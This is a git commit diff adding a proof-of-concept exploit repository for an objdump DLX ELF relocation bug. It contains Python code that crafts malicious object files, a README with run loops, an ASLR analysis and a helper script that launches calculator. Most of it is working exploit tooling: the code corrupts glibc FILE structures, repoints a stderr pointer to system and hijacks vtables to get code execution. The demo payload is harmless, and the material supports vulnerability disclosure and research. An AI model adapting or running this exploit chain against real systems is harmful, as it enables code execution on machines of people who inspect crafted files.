Add exploitarium archive
This commit is contained in:
6
objdump-dlx-calc-poc/.gitattributes
vendored
Normal file
6
objdump-dlx-calc-poc/.gitattributes
vendored
Normal file
@@ -0,0 +1,6 @@
|
||||
*.py text eol=lf
|
||||
*.sh text eol=lf
|
||||
P text eol=lf
|
||||
*.bin binary
|
||||
*.notes text eol=lf
|
||||
*.md text eol=lf
|
||||
6
objdump-dlx-calc-poc/.gitignore
vendored
Normal file
6
objdump-dlx-calc-poc/.gitignore
vendored
Normal file
@@ -0,0 +1,6 @@
|
||||
__pycache__/
|
||||
*.pyc
|
||||
calc_hit.log
|
||||
objdump-poc.out
|
||||
core
|
||||
core.*
|
||||
4
objdump-dlx-calc-poc/P
Executable file
4
objdump-dlx-calc-poc/P
Executable file
@@ -0,0 +1,4 @@
|
||||
#!/usr/bin/env sh
|
||||
echo "CALC_HELPER_RAN $(date -u +%Y-%m-%dT%H:%M:%SZ)" >> ./calc_hit.log
|
||||
/mnt/c/WINDOWS/system32/calc.exe >/dev/null 2>&1 &
|
||||
exit 0
|
||||
124
objdump-dlx-calc-poc/README.md
Normal file
124
objdump-dlx-calc-poc/README.md
Normal file
@@ -0,0 +1,124 @@
|
||||
# objdump dlx calc poc
|
||||
|
||||
Small repro for an `objdump -g` crash-to-calc path in the DLX ELF backend.
|
||||
|
||||
This is an ACE-style local parser bug: the input is a crafted ELF/DLX object file, and the trigger is running `objdump` on it. It is not a network RCE by itself. The demo payload starts the tiny helper named `P`, and that helper opens calculator.
|
||||
|
||||
Tested against a binutils-gdb master build from commit:
|
||||
|
||||
```text
|
||||
c311f4d37f31ff3fbb5db6923abcdf93bb75a37b
|
||||
```
|
||||
|
||||
## whats in here
|
||||
|
||||
- `payloads/*.bin` - crafted ELF/DLX object files to feed to `objdump`
|
||||
- `payloads/*.notes` - notes for each generated payload variant
|
||||
- `P` - helper script that writes `calc_hit.log` and starts Windows calculator from WSL
|
||||
- `run_dlx_calc_poc.sh` - tries the payload variants until one hits
|
||||
- `generate_objdump_dlx_calc_poc.py` - regenerates the payload variants
|
||||
- `dlx_chain_builder.py` - small builder used by the generator
|
||||
- `docs/aslr-bypass-analysis.md` - notes on why this is profile-dependent
|
||||
- `tools/search_pointer_transform.py` - Z3 sanity check for fixed pointer transforms
|
||||
|
||||
The payload files are named `.bin` because they are raw binary files, but the file format inside is ELF/DLX.
|
||||
|
||||
## why there are multiple payloads
|
||||
|
||||
ASLR stays on. Because of that, one exact payload is not guaranteed to land every time. The files in `payloads/` are a small set of guesses for the address layout seen during testing.
|
||||
|
||||
The generator emits the original profile plus a WSL/Ubuntu 24.04 profile measured against the pinned `dlx-elf` build. The second profile keeps ASLR on but uses stable relative offsets observed in the target process:
|
||||
|
||||
```text
|
||||
layout=wsl2404 off_io=-0x3690 off_sec=0xbb0 rbase=0x220
|
||||
buf_delta=0x702fff00 or 0x6f300000
|
||||
system_delta=0x7042e500 or 0x7043e4ff
|
||||
```
|
||||
|
||||
That is an ASLR-on relative-delta strategy, not a universal single-shot info-leak bypass. A miss can still happen, so the runner keeps the retry loop.
|
||||
|
||||
More detail is in `docs/aslr-bypass-analysis.md`.
|
||||
|
||||
So a plain crash like this does not always mean the PoC failed:
|
||||
|
||||
```text
|
||||
Segmentation fault (core dumped)
|
||||
```
|
||||
|
||||
The useful signal is either calculator opening, or `calc_hit.log` getting a fresh `CALC_HELPER_RAN ...` line.
|
||||
|
||||
## quick run
|
||||
|
||||
From WSL:
|
||||
|
||||
```bash
|
||||
cd /path/to/objdump-dlx-calc-poc
|
||||
chmod +x P
|
||||
export PATH="$PWD:$PATH"
|
||||
MAX_TRIES=50 bash run_dlx_calc_poc.sh /path/to/objdump
|
||||
cat calc_hit.log
|
||||
```
|
||||
|
||||
Example with a local binutils build:
|
||||
|
||||
```bash
|
||||
MAX_TRIES=50 bash run_dlx_calc_poc.sh /opt/binutils-master/binutils/objdump
|
||||
```
|
||||
|
||||
## manual run without the helper loop
|
||||
|
||||
If you want to do the same thing by hand and keep ASLR on:
|
||||
|
||||
```bash
|
||||
cd /path/to/objdump-dlx-calc-poc
|
||||
chmod +x P
|
||||
export PATH="$PWD:$PATH"
|
||||
rm -f calc_hit.log
|
||||
|
||||
for p in payloads/*.bin; do
|
||||
echo "$p"
|
||||
/path/to/objdump -g "$p" >/dev/null 2>&1 || true
|
||||
if [ -s calc_hit.log ]; then
|
||||
echo "HIT $p"
|
||||
cat calc_hit.log
|
||||
break
|
||||
fi
|
||||
done
|
||||
```
|
||||
|
||||
Same thing as a one-liner:
|
||||
|
||||
```bash
|
||||
rm -f calc_hit.log; for p in payloads/*.bin; do echo "$p"; /path/to/objdump -g "$p" >/dev/null 2>&1 || true; if [ -s calc_hit.log ]; then echo "HIT $p"; cat calc_hit.log; break; fi; done
|
||||
```
|
||||
|
||||
## regenerating payloads
|
||||
|
||||
```bash
|
||||
rm -rf payloads
|
||||
python3 generate_objdump_dlx_calc_poc.py --out-dir payloads
|
||||
```
|
||||
|
||||
The runner will also regenerate `payloads/` automatically if the folder is missing or empty.
|
||||
|
||||
## what the bug is doing
|
||||
|
||||
At a high level, the crafted DLX object gives `objdump -g` relocation data that causes the DLX backend to write outside the intended debug section while processing relocations. The PoC shapes those writes so that, when the process layout lines up, control flow reaches the helper command `P`.
|
||||
|
||||
That is why `PATH` matters. The helper is run by name, so this line is needed:
|
||||
|
||||
```bash
|
||||
export PATH="$PWD:$PATH"
|
||||
```
|
||||
|
||||
Without it, you can still get the segfault, but the helper might not be found.
|
||||
|
||||
## cleanup
|
||||
|
||||
Runtime files are not needed:
|
||||
|
||||
```bash
|
||||
rm -f calc_hit.log objdump-poc.out
|
||||
```
|
||||
|
||||
The generated crash after a hit is expected. The process usually does not exit cleanly after the helper is reached.
|
||||
328
objdump-dlx-calc-poc/dlx_chain_builder.py
Normal file
328
objdump-dlx-calc-poc/dlx_chain_builder.py
Normal file
@@ -0,0 +1,328 @@
|
||||
#!/usr/bin/env pythoimport argparse
|
||||
import struct
|
||||
from pathlib import Path
|
||||
|
||||
|
||||
EM_DLX = 0x5AA5
|
||||
R_DLX_PCREL26 = 9
|
||||
R_DLX_RELOC_32 = 3
|
||||
MASK26 = 0x03FFFFFF
|
||||
|
||||
|
||||
def p16(v):
|
||||
return struct.pack(">H", v & 0xFFFF)
|
||||
|
||||
|
||||
def p32(v):
|
||||
return struct.pack(">I", v & 0xFFFFFFFF)
|
||||
|
||||
|
||||
def strtab(strings):
|
||||
blob = b"\x00"
|
||||
offsets = {"": 0}
|
||||
for s in strings:
|
||||
if s and s not in offsets:
|
||||
offsets[s] = len(blob)
|
||||
blob += s.encode("ascii") + b"\x00"
|
||||
return blob, offsets
|
||||
|
||||
|
||||
def sym(name, value, size, info, shndx):
|
||||
return p32(name) + p32(value) + p32(size) + bytes([info, 0]) + p16(shndx)
|
||||
|
||||
|
||||
def build_elf(debug_size, relocs):
|
||||
di = b"\x00" * debug_size
|
||||
tx = b"\x00" * 4
|
||||
sec_names = [
|
||||
".text",
|
||||
".debug_info",
|
||||
".rel.debug_info",
|
||||
".symtab",
|
||||
".strtab",
|
||||
".shstrtab",
|
||||
]
|
||||
shstr, shoff = strtab(sec_names)
|
||||
names = [f"s{i}" for i in range(len(relocs))]
|
||||
str_blob, stroff = strtab(names)
|
||||
|
||||
symtab = b""
|
||||
symtab += sym(0, 0, 0, 0, 0)
|
||||
symtab += sym(0, 0, 0, 0x03, 1)
|
||||
symtab += sym(0, 0, 0, 0x03, 2)
|
||||
for i, reloc in enumerate(relocs):
|
||||
_offset, value = reloc[:2]
|
||||
symtab += sym(stroff[f"s{i}"], value, 4, 0x12, 2)
|
||||
|
||||
rb = b""
|
||||
for i, reloc in enumerate(relocs):
|
||||
offset, _value = reloc[:2]
|
||||
r_type = reloc[2] if len(reloc) > 2 else R_DLX_PCREL26
|
||||
r_info = ((3 + i) << 8) | r_type
|
||||
rb += p32(offset) + p32(r_info)
|
||||
|
||||
o = 52
|
||||
text_off = o
|
||||
o += len(tx)
|
||||
debug_off = o
|
||||
o += len(di)
|
||||
rel_off = o
|
||||
o += len(rb)
|
||||
sym_off = o
|
||||
o += len(symtab)
|
||||
str_off = o
|
||||
o += len(str_blob)
|
||||
shstr_off = o
|
||||
o += len(shstr)
|
||||
shdr_off = o
|
||||
|
||||
def shdr(name, stype, flags, offset, size, link, info, align, entsize):
|
||||
return (
|
||||
p32(name)
|
||||
+ p32(stype)
|
||||
+ p32(flags)
|
||||
+ p32(0)
|
||||
+ p32(offset)
|
||||
+ p32(size)
|
||||
+ p32(link)
|
||||
+ p32(info)
|
||||
+ p32(align)
|
||||
+ p32(entsize)
|
||||
)
|
||||
|
||||
hdrs = b""
|
||||
hdrs += shdr(0, 0, 0, 0, 0, 0, 0, 0, 0)
|
||||
hdrs += shdr(shoff[".text"], 1, 6, text_off, len(tx), 0, 0, 4, 0)
|
||||
hdrs += shdr(shoff[".debug_info"], 1, 0, debug_off, len(di), 0, 0, 1, 0)
|
||||
hdrs += shdr(shoff[".rel.debug_info"], 9, 0x40, rel_off, len(rb), 4, 2, 4, 8)
|
||||
hdrs += shdr(shoff[".symtab"], 2, 0, sym_off, len(symtab), 5, 3, 4, 16)
|
||||
hdrs += shdr(shoff[".strtab"], 3, 0, str_off, len(str_blob), 0, 0, 1, 0)
|
||||
hdrs += shdr(shoff[".shstrtab"], 3, 0, shstr_off, len(shstr), 0, 0, 1, 0)
|
||||
|
||||
ident = b"\x7fELF" + bytes([1, 2, 1, 0]) + b"\x00" * 8
|
||||
ehdr = (
|
||||
ident
|
||||
+ p16(1)
|
||||
+ p16(EM_DLX)
|
||||
+ p32(1)
|
||||
+ p32(0)
|
||||
+ p32(0)
|
||||
+ p32(shdr_off)
|
||||
+ p32(0)
|
||||
+ p16(52)
|
||||
+ p16(0)
|
||||
+ p16(0)
|
||||
+ p16(40)
|
||||
+ p16(7)
|
||||
+ p16(6)
|
||||
)
|
||||
return ehdr + tx + di + rb + symtab + str_blob + shstr + hdrs
|
||||
|
||||
|
||||
def decode_dlx_vallo(low26):
|
||||
low26 &= MASK26
|
||||
if low26 & 0x03000000:
|
||||
return (~(low26 | 0xFC000000) + 1) & 0xFFFFFFFF
|
||||
return low26
|
||||
|
||||
|
||||
def low26_to_signed(low26):
|
||||
low26 &= MASK26
|
||||
if low26 & 0x02000000:
|
||||
return low26 - 0x04000000
|
||||
return low26
|
||||
|
||||
|
||||
def word_to_low26(word):
|
||||
return word & MASK26
|
||||
|
||||
|
||||
def symbol_for_low26(current_word, final_low26):
|
||||
final_low26 &= MASK26
|
||||
signed_final = low26_to_signed(final_low26)
|
||||
if signed_final == -0x02000000:
|
||||
raise ValueError("DLX PCREL26 cannot encode final low26 0x02000000")
|
||||
vallo = decode_dlx_vallo(word_to_low26(current_word))
|
||||
return (vallo + signed_final) & 0xFFFFFFFF
|
||||
|
||||
|
||||
def encodable_low26(final_low26):
|
||||
return (final_low26 & MASK26) != 0x02000000
|
||||
|
||||
|
||||
def apply_dlx_word(memory, offset, symbol_value):
|
||||
cur = int.from_bytes(bytes(memory[offset : offset + 4]), "big")
|
||||
vallo = decode_dlx_vallo(cur & MASK26)
|
||||
val = ((symbol_value & 0xFFFFFFFF) - vallo) & 0xFFFFFFFF
|
||||
if val & 0x80000000:
|
||||
val_signed = val - 0x100000000
|
||||
else:
|
||||
val_signed = val
|
||||
if abs(val_signed) > 0x01FFFFFF:
|
||||
raise ValueError(f"relocation would be out of range: {val_signed:#x}")
|
||||
new_word = (cur & 0xFC000000) | (val_signed & MASK26)
|
||||
memory[offset : offset + 4] = new_word.to_bytes(4, "big")
|
||||
|
||||
|
||||
class ChainBuilder:
|
||||
def __init__(self, debug_size, rbase, memory_base, memory):
|
||||
self.debug_size = debug_size
|
||||
self.rbase = rbase
|
||||
self.memory_base = memory_base
|
||||
self.memory = bytearray(memory)
|
||||
self.relocs = []
|
||||
self.notes = []
|
||||
self._initialized_addresses = set()
|
||||
|
||||
def _mem_index(self, target):
|
||||
idx = target - self.memory_base
|
||||
if idx < 0 or idx + 4 > len(self.memory):
|
||||
raise ValueError(f"target {target:#x} outside modeled memory")
|
||||
return idx
|
||||
|
||||
def _raw_reloc(self, offset, symbol_value, note):
|
||||
idx = len(self.relocs)
|
||||
self.relocs.append((offset & 0xFFFFFFFF, symbol_value & 0xFFFFFFFF))
|
||||
self.notes.append((idx, offset, symbol_value & 0xFFFFFFFF, note))
|
||||
self._set_address_field(idx, offset & 0xFFFFFFFF)
|
||||
return idx
|
||||
|
||||
def add_pi32_reloc(self, target, delta, note):
|
||||
actual_idx = len(self.relocs) + (2 if target < 0 else 0)
|
||||
self._set_address_field(actual_idx, target & 0xFFFFFFFF)
|
||||
if target < 0:
|
||||
self._patch_negative_address_for_index(actual_idx)
|
||||
idx = len(self.relocs)
|
||||
self.relocs.append((target & 0xFFFFFFFF, delta & 0xFFFFFFFF, R_DLX_RELOC_32))
|
||||
self.notes.append((idx, target, delta & 0xFFFFFFFF, note))
|
||||
self._set_address_field(idx, target & 0xFFFFFFFF)
|
||||
mem_idx = self._mem_index(target)
|
||||
cur = int.from_bytes(bytes(self.memory[mem_idx : mem_idx + 4]), "big")
|
||||
new = (cur + (delta & 0xFFFFFFFF)) & 0xFFFFFFFF
|
||||
self.memory[mem_idx : mem_idx + 4] = new.to_bytes(4, "big")
|
||||
|
||||
def _set_address_field(self, reloc_idx, address):
|
||||
if reloc_idx in self._initialized_addresses:
|
||||
return
|
||||
field = self.rbase + reloc_idx * 32 + 8
|
||||
mem_idx = field - self.memory_base
|
||||
if 0 <= mem_idx and mem_idx + 8 <= len(self.memory):
|
||||
self.memory[mem_idx : mem_idx + 8] = (address & 0xFFFFFFFF).to_bytes(8, "little")
|
||||
self._initialized_addresses.add(reloc_idx)
|
||||
|
||||
def _positive_write_low26(self, target, final_low26, note):
|
||||
idx = self._mem_index(target)
|
||||
cur = int.from_bytes(bytes(self.memory[idx : idx + 4]), "big")
|
||||
symv = symbol_for_low26(cur, final_low26)
|
||||
self._raw_reloc(target, symv, note)
|
||||
apply_dlx_word(self.memory, idx, symv)
|
||||
|
||||
def _patch_negative_address_for_index(self, actual_idx):
|
||||
h = self.rbase + actual_idx * 32 + 12
|
||||
self._positive_write_low26(h - 1, 0x03FFFFFF, f"patch reloc{actual_idx} address high dword bytes 0..2")
|
||||
self._positive_write_low26(h, 0x03FFFFFF, f"patch reloc{actual_idx} address high dword byte 3")
|
||||
|
||||
def write_low26(self, target, final_low26, note):
|
||||
if target < 0:
|
||||
actual_idx = len(self.relocs) + 2
|
||||
self._set_address_field(actual_idx, target & 0xFFFFFFFF)
|
||||
self._patch_negative_address_for_index(actual_idx)
|
||||
self._raw_reloc(target & 0xFFFFFFFF, 0, f"{note} placeholder before simulation")
|
||||
idx = self._mem_index(target)
|
||||
cur = int.from_bytes(bytes(self.memory[idx : idx + 4]), "big")
|
||||
symv = symbol_for_low26(cur, final_low26)
|
||||
self.relocs[-1] = (target & 0xFFFFFFFF, symv)
|
||||
self.notes[-1] = (actual_idx, target, symv, note)
|
||||
apply_dlx_word(self.memory, idx, symv)
|
||||
else:
|
||||
self._positive_write_low26(target, final_low26, note)
|
||||
|
||||
def write_bytes4(self, target, data):
|
||||
if len(data) != 4:
|
||||
raise ValueError("write_bytes4 needs exactly 4 bytes")
|
||||
prior_idx = self._mem_index(target - 1)
|
||||
prior_low2 = self.memory[prior_idx] & 3
|
||||
low_a = (
|
||||
(prior_low2 << 24)
|
||||
| (data[0] << 16)
|
||||
| (data[1] << 8)
|
||||
| data[2]
|
||||
)
|
||||
low_b = ((data[0] & 3) << 24) | (data[1] << 16) | (data[2] << 8) | data[3]
|
||||
if encodable_low26(low_a) and encodable_low26(low_b):
|
||||
self.write_low26(target - 1, low_a, f"stage write bytes at {target:#x}")
|
||||
self.write_low26(target, low_b, f"finish write bytes at {target:#x}")
|
||||
return
|
||||
|
||||
tail_idx = self._mem_index(target + 2)
|
||||
tail_low2 = self.memory[tail_idx] & 3
|
||||
for filler in range(0x10000):
|
||||
low_tail = (tail_low2 << 24) | (data[3] << 16) | filler
|
||||
if encodable_low26(low_tail) and encodable_low26(low_a):
|
||||
self.write_low26(target + 2, low_tail, f"fallback tail byte for {target:#x}")
|
||||
self.write_low26(target - 1, low_a, f"fallback first three bytes at {target:#x}")
|
||||
return
|
||||
raise ValueError(f"no DLX byte decomposition for target {target:#x}")
|
||||
|
||||
|
||||
def parse_hex_bytes(value):
|
||||
value = value.replace(" ", "").replace(":", "")
|
||||
if len(value) % 2:
|
||||
raise argparse.ArgumentTypeError("hex byte string must have an even length")
|
||||
return bytes.fromhex(value)
|
||||
|
||||
|
||||
def parse_write(spec):
|
||||
off, data = spec.split(":", 1)
|
||||
return int(off, 0), parse_hex_bytes(data)
|
||||
|
||||
|
||||
def parse_patch(spec):
|
||||
off, data = spec.split(":", 1)
|
||||
return int(off, 0), parse_hex_bytes(data)
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument("--debug-size", type=int, default=144)
|
||||
parser.add_argument("--rbase", type=lambda x: int(x, 0), required=True)
|
||||
parser.add_argument("--memory-base", type=lambda x: int(x, 0), required=True)
|
||||
parser.add_argument("--memory-hex", type=parse_hex_bytes)
|
||||
parser.add_argument("--memory-size", type=lambda x: int(x, 0))
|
||||
parser.add_argument("--patch-mem", action="append", type=parse_patch, default=[])
|
||||
parser.add_argument("--write4", action="append", type=parse_write, required=True)
|
||||
parser.add_argument("--out", type=Path, required=True)
|
||||
parser.add_argument("--notes", type=Path)
|
||||
args = parser.parse_args()
|
||||
|
||||
if args.memory_hex is None:
|
||||
if args.memory_size is None:
|
||||
parser.error("either --memory-hex or --memory-size is required")
|
||||
memory = bytearray(args.memory_size)
|
||||
else:
|
||||
memory = bytearray(args.memory_hex)
|
||||
if args.memory_size is not None and args.memory_size > len(memory):
|
||||
memory.extend(b"\x00" * (args.memory_size - len(memory)))
|
||||
|
||||
for off, data in args.patch_mem:
|
||||
idx = off - args.memory_base
|
||||
if idx < 0 or idx + len(data) > len(memory):
|
||||
parser.error(f"--patch-mem offset {off:#x} outside modeled memory")
|
||||
memory[idx : idx + len(data)] = data
|
||||
|
||||
builder = ChainBuilder(args.debug_size, args.rbase, args.memory_base, memory)
|
||||
for target, data in args.write4:
|
||||
builder.write_bytes4(target, data)
|
||||
|
||||
args.out.write_bytes(build_elf(args.debug_size, builder.relocs))
|
||||
print(args.out.resolve())
|
||||
print(f"relocations={len(builder.relocs)}")
|
||||
if args.notes:
|
||||
lines = []
|
||||
for idx, target, symv, note in builder.notes:
|
||||
lines.append(f"{idx:03d} target={target:#x} sym=0x{symv:08x} {note}")
|
||||
args.notes.write_text("\n".join(lines) + "\n", encoding="ascii")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
94
objdump-dlx-calc-poc/docs/aslr-bypass-analysis.md
Normal file
94
objdump-dlx-calc-poc/docs/aslr-bypass-analysis.md
Normal file
@@ -0,0 +1,94 @@
|
||||
# ASLR bypass analysis
|
||||
|
||||
This repository contains an ASLR-on exploit for a local heap/libio profile. It
|
||||
does not contain a deterministic universal ASLR bypass for the unmodified
|
||||
`objdump` process.
|
||||
|
||||
## What works
|
||||
|
||||
The payload set can reach the helper command `P` with ASLR enabled when the
|
||||
heap and libc low-word layout matches one of the generated profiles.
|
||||
|
||||
The current generator emits:
|
||||
|
||||
- `orig`: the first measured profile.
|
||||
- `wsl2404`: offsets measured against the pinned `dlx-elf` build on
|
||||
WSL/Ubuntu 24.04.
|
||||
|
||||
The `wsl2404` profile uses:
|
||||
|
||||
```text
|
||||
off_io=-0x3690
|
||||
off_sec=0xbb0
|
||||
rbase=0x220
|
||||
buf_delta=0x702fff00 or 0x6f300000
|
||||
system_delta=0x7042e500 or 0x7043e4ff
|
||||
```
|
||||
|
||||
## Why argv two-stage is not enough
|
||||
|
||||
A deterministic leak-then-exploit route would need this sequence in one
|
||||
`objdump` process:
|
||||
|
||||
1. Process file 1 and leak libc.
|
||||
2. Generate file 2 with the exact `system` delta.
|
||||
3. Process file 2 with the same ASLR layout.
|
||||
|
||||
That path did not hold for this trigger. In local GDB measurements with
|
||||
`objdump -W -r file1 file2`, the DWARF relocation side effect that mutates
|
||||
`.debug_info` ran for the first object only. The second object's relocation
|
||||
table printed unmodified symbol names (`s0`, `s1`, and so on).
|
||||
|
||||
FIFO staging is also blocked in unmodified `objdump`: `display_file()` calls
|
||||
`get_file_size()`, and `get_file_size()` rejects non-regular files before
|
||||
`bfd_openr()`.
|
||||
|
||||
## Why a fixed single-file transform is not universal
|
||||
|
||||
The useful dynamic value in the corrupted `FILE` object is the existing libc
|
||||
pointer at `FILE+0x68`:
|
||||
|
||||
```text
|
||||
_IO_2_1_stderr_ offset = 0x2044e0
|
||||
system offset = 0x58750
|
||||
```
|
||||
|
||||
For a page-aligned libc base, converting `P = base + 0x2044e0` into
|
||||
`S = base + 0x58750` requires carry/borrow information from lower
|
||||
little-endian bytes.
|
||||
|
||||
Counterexample over low 32 bits:
|
||||
|
||||
```text
|
||||
base_low = 0x0000: P bytes = e0 44 20 00, S bytes = 50 87 05 00
|
||||
base_low = 0x8000: P bytes = e0 c4 20 00, S bytes = 50 07 06 00
|
||||
```
|
||||
|
||||
The original byte 2 and byte 3 are identical in both cases (`20 00`), but the
|
||||
desired byte 2 differs (`05` versus `06`) based on original byte 1.
|
||||
|
||||
The DLX relocation additions available to the payload operate on big-endian
|
||||
8/16/32-bit fields in the target byte stream. Their carries flow from higher
|
||||
memory offsets toward lower memory offsets. They cannot make final byte 2
|
||||
depend on original byte 1. PC-relative writes can set constants, but they do
|
||||
not introduce the missing dependency.
|
||||
|
||||
`tools/search_pointer_transform.py` is a sanity check for this reasoning. It
|
||||
asks Z3 for fixed sequences consisting of one 32-bit relocation plus up to a
|
||||
chosen number of 8/16-bit correction relocations, then brute-verifies any
|
||||
candidate over all page-aligned low-32-bit bases.
|
||||
|
||||
Example:
|
||||
|
||||
```bash
|
||||
python3 tools/search_pointer_transform.py --mode r32-first --max-extra 4
|
||||
python3 tools/search_pointer_transform.py --mode r32-last --max-extra 4
|
||||
```
|
||||
|
||||
Both forms found no universal transform up to four correction relocations in
|
||||
the tested operation class.
|
||||
|
||||
## Result
|
||||
|
||||
The PoC should be described as ASLR-on and profile-dependent. It is not a
|
||||
universal single-file ASLR bypass.
|
||||
157
objdump-dlx-calc-poc/generate_objdump_dlx_calc_poc.py
Normal file
157
objdump-dlx-calc-poc/generate_objdump_dlx_calc_poc.py
Normal file
@@ -0,0 +1,157 @@
|
||||
import argparse
|
||||
import importlib.util
|
||||
from pathlib import Path
|
||||
|
||||
|
||||
HERE = Path(__file__).resolve().parent
|
||||
spec = importlib.util.spec_from_file_location("dlx_chain_builder", HERE / "dlx_chain_builder.py")
|
||||
builder_mod = importlib.util.module_from_spec(spec)
|
||||
spec.loader.exec_module(builder_mod)
|
||||
|
||||
R_DLX_NONE = 0
|
||||
R_DLX_RELOC_16 = 2
|
||||
|
||||
EXPECTED_RELOCS = 25
|
||||
DEBUG_SIZE = 144
|
||||
|
||||
OFF_IO = -0x46A0
|
||||
OFF_SEC = 0xB20
|
||||
RBASE = 0x1F0
|
||||
|
||||
FILE_FLAGS = OFF_IO
|
||||
FILE_BUF_BASE = OFF_IO + 0x20
|
||||
FILE_SYSTEM_SLOT = OFF_IO + 0x68
|
||||
FILE_WIDE_DATA = OFF_IO + 0xA0
|
||||
FILE_VTABLE = OFF_IO + 0xD8
|
||||
SECTION_SIZE_LOW = OFF_SEC + 0x38
|
||||
SECTION_SIZE_HIGH = OFF_SEC + 0x3C
|
||||
|
||||
BUF_TO_FILE_BE32_DELTAS = (0xEF210000, 0xF020FF00)
|
||||
WIDE_TO_FAKE_BE32_DELTAS = (0x4FFF0000,)
|
||||
STDERR_TO_SYSTEM_BE32_DELTAS = (0x7042E500, 0x7043E4FF)
|
||||
FILE_JUMPS_TO_WFILE_OVERFLOW_FINISH_BE16 = 0x0002
|
||||
|
||||
LAYOUTS = (
|
||||
{
|
||||
"name": "orig",
|
||||
"off_io": OFF_IO,
|
||||
"off_sec": OFF_SEC,
|
||||
"rbase": RBASE,
|
||||
"buf_deltas": BUF_TO_FILE_BE32_DELTAS,
|
||||
"wide_deltas": WIDE_TO_FAKE_BE32_DELTAS,
|
||||
"system_deltas": STDERR_TO_SYSTEM_BE32_DELTAS,
|
||||
},
|
||||
{
|
||||
"name": "wsl2404",
|
||||
"off_io": -0x3690,
|
||||
"off_sec": 0xBB0,
|
||||
"rbase": 0x220,
|
||||
"buf_deltas": (0x702FFF00, 0x6F300000),
|
||||
"wide_deltas": WIDE_TO_FAKE_BE32_DELTAS,
|
||||
"system_deltas": STDERR_TO_SYSTEM_BE32_DELTAS,
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
def add_pi16_reloc(chain, target, delta, note):
|
||||
actual_idx = len(chain.relocs) + (2 if target < 0 else 0)
|
||||
chain._set_address_field(actual_idx, target & 0xFFFFFFFF)
|
||||
if target < 0:
|
||||
chain._patch_negative_address_for_index(actual_idx)
|
||||
idx = len(chain.relocs)
|
||||
chain.relocs.append((target & 0xFFFFFFFF, delta & 0xFFFFFFFF, R_DLX_RELOC_16))
|
||||
chain.notes.append((idx, target, delta & 0xFFFFFFFF, note))
|
||||
chain._set_address_field(idx, target & 0xFFFFFFFF)
|
||||
|
||||
|
||||
def base_memory(flag_byte4, off_io, off_sec, rbase):
|
||||
memory_base = off_io - 0x100
|
||||
memory_end = max(rbase + EXPECTED_RELOCS * 32 + 0x80, off_sec + 0x80)
|
||||
memory = bytearray(memory_end - memory_base)
|
||||
flags_idx = off_io - memory_base
|
||||
memory[flags_idx : flags_idx + 8] = bytes([0x88, 0x24, 0xAD, 0xFB, flag_byte4, 0, 0, 0])
|
||||
return memory_base, memory
|
||||
|
||||
|
||||
def build(out_dir):
|
||||
out_dir.mkdir(parents=True, exist_ok=True)
|
||||
outputs = []
|
||||
for layout in LAYOUTS:
|
||||
off_io = layout["off_io"]
|
||||
off_sec = layout["off_sec"]
|
||||
rbase = layout["rbase"]
|
||||
file_flags = off_io
|
||||
file_buf_base = off_io + 0x20
|
||||
file_system_slot = off_io + 0x68
|
||||
file_wide_data = off_io + 0xA0
|
||||
file_vtable = off_io + 0xD8
|
||||
section_size_low = off_sec + 0x38
|
||||
section_size_high = off_sec + 0x3C
|
||||
|
||||
for flag_byte4 in (0x05, 0x06):
|
||||
for buf_delta in layout["buf_deltas"]:
|
||||
for wide_delta in layout["wide_deltas"]:
|
||||
for system_delta in layout["system_deltas"]:
|
||||
memory_base, memory = base_memory(flag_byte4, off_io, off_sec, rbase)
|
||||
chain = builder_mod.ChainBuilder(DEBUG_SIZE, rbase, memory_base, memory)
|
||||
|
||||
chain.write_bytes4(file_flags, b"P\x00\x00\x00")
|
||||
chain.write_bytes4(section_size_low, b"\xff\xff\xff\xff")
|
||||
chain.write_bytes4(section_size_high, b"\xff\xff\xff\xff")
|
||||
chain.add_pi32_reloc(file_buf_base, buf_delta, "FILE+0x20 input buffer pointer -> FILE fake wide vtable")
|
||||
chain.add_pi32_reloc(file_system_slot, system_delta, "FILE+0x68 _IO_2_1_stderr_ -> system")
|
||||
chain.add_pi32_reloc(file_wide_data, wide_delta, "FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data")
|
||||
add_pi16_reloc(
|
||||
chain,
|
||||
file_vtable,
|
||||
FILE_JUMPS_TO_WFILE_OVERFLOW_FINISH_BE16,
|
||||
"FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow",
|
||||
)
|
||||
|
||||
while len(chain.relocs) < EXPECTED_RELOCS:
|
||||
chain.relocs.append((0, 0, R_DLX_NONE))
|
||||
chain.notes.append((len(chain.relocs) - 1, 0, 0, "pad R_DLX_NONE"))
|
||||
if len(chain.relocs) != EXPECTED_RELOCS:
|
||||
raise ValueError(f"unexpected reloc count {len(chain.relocs)}")
|
||||
|
||||
name = (
|
||||
f"dlx_calc_aslr_{layout['name']}_f{flag_byte4:02x}_"
|
||||
f"b{buf_delta:08x}_s{system_delta:08x}"
|
||||
)
|
||||
out = out_dir / f"{name}.bin"
|
||||
notes = out_dir / f"{name}.notes"
|
||||
out.write_bytes(builder_mod.build_elf(DEBUG_SIZE, chain.relocs))
|
||||
notes.write_text(
|
||||
"\n".join(
|
||||
[
|
||||
f"layout={layout['name']}",
|
||||
f"flag_byte4=0x{flag_byte4:02x}",
|
||||
f"buf_delta=0x{buf_delta:08x}",
|
||||
f"wide_delta=0x{wide_delta:08x}",
|
||||
f"system_delta=0x{system_delta:08x}",
|
||||
"command=P",
|
||||
f"off_io={off_io:#x} off_sec={off_sec:#x} rbase={rbase:#x}",
|
||||
"",
|
||||
]
|
||||
+ [
|
||||
f"{idx:03d} target={target:#x} sym=0x{symv:08x} {note}"
|
||||
for idx, target, symv, note in chain.notes
|
||||
]
|
||||
)
|
||||
+ "\n",
|
||||
encoding="ascii",
|
||||
)
|
||||
outputs.append(out)
|
||||
return outputs
|
||||
|
||||
|
||||
def main():
|
||||
ap = argparse.ArgumentParser()
|
||||
ap.add_argument("--out-dir", type=Path, default=HERE / "payloads")
|
||||
args = ap.parse_args()
|
||||
for out in build(args.out_dir):
|
||||
print(out.resolve())
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Binary file not shown.
@@ -0,0 +1,33 @@
|
||||
layout=orig
|
||||
flag_byte4=0x05
|
||||
buf_delta=0xef210000
|
||||
wide_delta=0x4fff0000
|
||||
system_delta=0x7042e500
|
||||
command=P
|
||||
